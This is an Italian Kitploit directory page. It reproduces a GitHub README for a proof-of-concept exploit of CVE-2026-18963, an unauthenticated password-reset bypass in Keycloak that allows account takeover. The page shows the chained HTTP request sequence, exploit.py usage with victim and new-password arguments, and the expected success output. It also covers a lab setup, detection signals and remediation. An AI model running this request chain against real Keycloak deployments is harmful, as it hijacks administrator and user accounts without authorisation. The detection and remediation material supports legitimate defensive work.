Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-18963-keycloak — Exploit proof-of-concept per CVE-2026-18963, un bypass critico del reset delle credenziali di Keycloak che consente l'acquisizione non autenticata di account. Include configurazione del laboratorio, indicazioni per il rilevamento e passaggi di bonifica per test autorizzati. | Kitploit
Strumenti/GitHubGitHub/red-darkin/cve-2026-18963-keycloak
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebAutenticazioneApprendimento e Formazione
GitHubred-darkin/cve-2026-18963-keycloak

CVE-2026-18963-keycloak

Exploit proof-of-concept per CVE-2026-18963, un bypass critico del reset delle credenziali di Keycloak che consente l'acquisizione non autenticata di account. Include configurazione del laboratorio, indicazioni per il rilevamento e passaggi di bonifica per test autorizzati.

Vedi Repository
203462 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-18963 — Bypass di reset-credentials in Keycloak → Account Takeover

Account takeover non autenticato nel flusso reset-credentials di Keycloak. Un attaccante che conosce solo un username/email può reimpostare la password di qualsiasi utente — inclusi gli admin — senza mai ricevere l'email di verifica.

CVE CVSS CWE License


⚠️ Disclaimer — Solo uso etico

Questa proof of concept è pubblicata esclusivamente per scopi educativi, ricerca difensiva, detection engineering e test di sicurezza autorizzati.

  • Usala solo contro sistemi di tua proprietà o per i quali disponi di esplicita autorizzazione scritta ai fini del test. Accedere o modificare sistemi senza permesso è illegale e non etico.
  • Questa è una risorsa difensiva/educativa pensata per aiutare i team a comprendere, rilevare e correggere CVE-2026-18963 — non per attaccare terze parti.
  • L'autore (red-darkin) non si assume NESSUNA responsabilità per qualsiasi uso improprio, danno o attività illegale compiuta con questo codice. Sei l'unico responsabile dell'uso che ne fai e del rispetto di tutte le leggi applicabili.
  • Scaricando o utilizzando questo repository accetti questi termini. Se non sei d'accordo, non usarlo.

Consulta DISCLAIMER.md per la dichiarazione completa.


Riepilogo

CVECVE-2026-18963
GravitàCritica — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
DebolezzaCWE-640 — Meccanismo debole di recupero password
AffetteKeycloak < 26.7.2 (upstream). Anche i build stream RH corretti tramite bundle 26.6.6 / 26.4.15
CorrettaKeycloak 26.7.2 (PR #51844)
PrecondizioniForgot password (reset credentials) abilitato sul realm — l'impostazione predefinita
ImpattoAccount takeover completo di qualsiasi utente (inclusi gli admin del realm) → compromissione dell'IdP + accesso SSO laterale

Come funziona — due bug concatenati

Il flusso di reset password (reset-credentials) normalmente impone di cliccare un link inviato via email al proprietario dell'account prima di poter impostare una nuova password. Due difetti permettono a un attaccante di aggirare completamente questo controllo:

  1. Stato "Try Another Way" non circoscritto — l'handler dell'authenticator-selector memorizza la nota AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" senza circoscriverla all' execution ID. Il rientro nel flusso lascia la sessione di autenticazione in uno stato confuso/obsoleto.
  2. Controllo del token mancante nello step email — ResetCredentialEmail.action() chiama context.success() senza verificare ACTION_TOKEN_USER_ID (ovvero senza confermare che il token d'azione inviato via email sia stato effettivamente consumato).

Concatenandoli si porta la sessione di autenticazione direttamente allo step UPDATE_PASSWORD per un utente arbitrario, senza necessità di email.

GET  /auth (client_id=account)                       ── login page (has "Forgot password?")
GET  /login-actions/reset-credentials …              ── choose-user form
POST …reset-credentials      tryAnotherWay=on        ── bug #1: enter "Try Another Way" selector
POST …reset-credentials      username=<victim>       ── select user via selector
GET  …/restart …                                     ── refresh session state
GET  /login-actions/reset-credentials …              ── re-enter → STALE selector (corrupted state)
POST …reset-credentials      username=<victim>       ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
        password-new=…&password-confirm=…            ── 302 → password changed → TAKEOVER

Consulta docs/ROOTCAUSE.md per il diff annotato della patch.


Avvio rapido (lab)

Sono necessari Docker e Python 3 con requests.

# 1) Spin up a vulnerable Keycloak + demo realm/user  (any version < 26.7.2)
./run_lab.sh                 # uses keycloak/keycloak:26.5.0

# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'

Atteso tail:

[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!

Poi accedi come victim / Pwned-2026! per confermare la compromissione.

Controllo negativo (con patch)

KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served

Utilizzo

python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]

  --base       Keycloak base URL, e.g. http://127.0.0.1:8080
  --realm      target realm (default: master)
  --client     public client without PKCE (default: account)
  --victim     victim username or email
  --new-pass   password to set
  --proxy      route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
  -k           skip TLS verification

Ogni risposta HTTP viene scritta in ./dump/ per l'ispezione.


Proxy tramite Burp

Keycloak utilizza già 8080, quindi punta il listener di Burp su un'altra porta (ad es. 8081):

python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!' \
    --proxy http://127.0.0.1:8081

La catena di richieste grezza per Burp Repeater si trova in requests/burp-chain.txt.


Rilevamento

Cerca un cambio password che non sia stato preceduto dalla verifica dell'email nella stessa sessione di autenticazione:

  • Un evento UPDATE_PASSWORD senza un precedente VERIFY_EMAIL / EXECUTE_ACTION_TOKEN per quella sessione.
  • Raffiche di richieste reset-credentials che trasportano tryAnotherWay=on.
  • Molteplici rientri in login-actions/reset-credentials per lo stesso tab_id.

Remediation

  • Aggiorna a Keycloak 26.7.2 (o al flusso di build RH corretto) — priorità massima.
  • Mitigazione temporanea: Realm settings → Login → Forgot password = Off.
  • Dopo la patch: ruota le credenziali admin, forza un nuovo login dopo i reset e attiva avvisi sui segnali di rilevamento sopra indicati.

Riferimenti

  • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-18963
  • Fix PR #51844 — https://github.com/keycloak/keycloak/pull/51844
  • Issue #51833 — https://github.com/keycloak/keycloak/issues/51833
  • Red Hat — https://access.redhat.com/security/cve/cve-2026-18963

Demo

CVE-2026-18963 PoC

Crediti

  • red-darkin — riproduzione in laboratorio, PoC e write-up.
  • Claude (Anthropic) — assistenza alla ricerca e allo sviluppo della PoC.

Catena corroborata rispetto alla patch pubblica di Keycloak (PR #51844) e ai write-up della community.

Licenza

Scarica lo strumento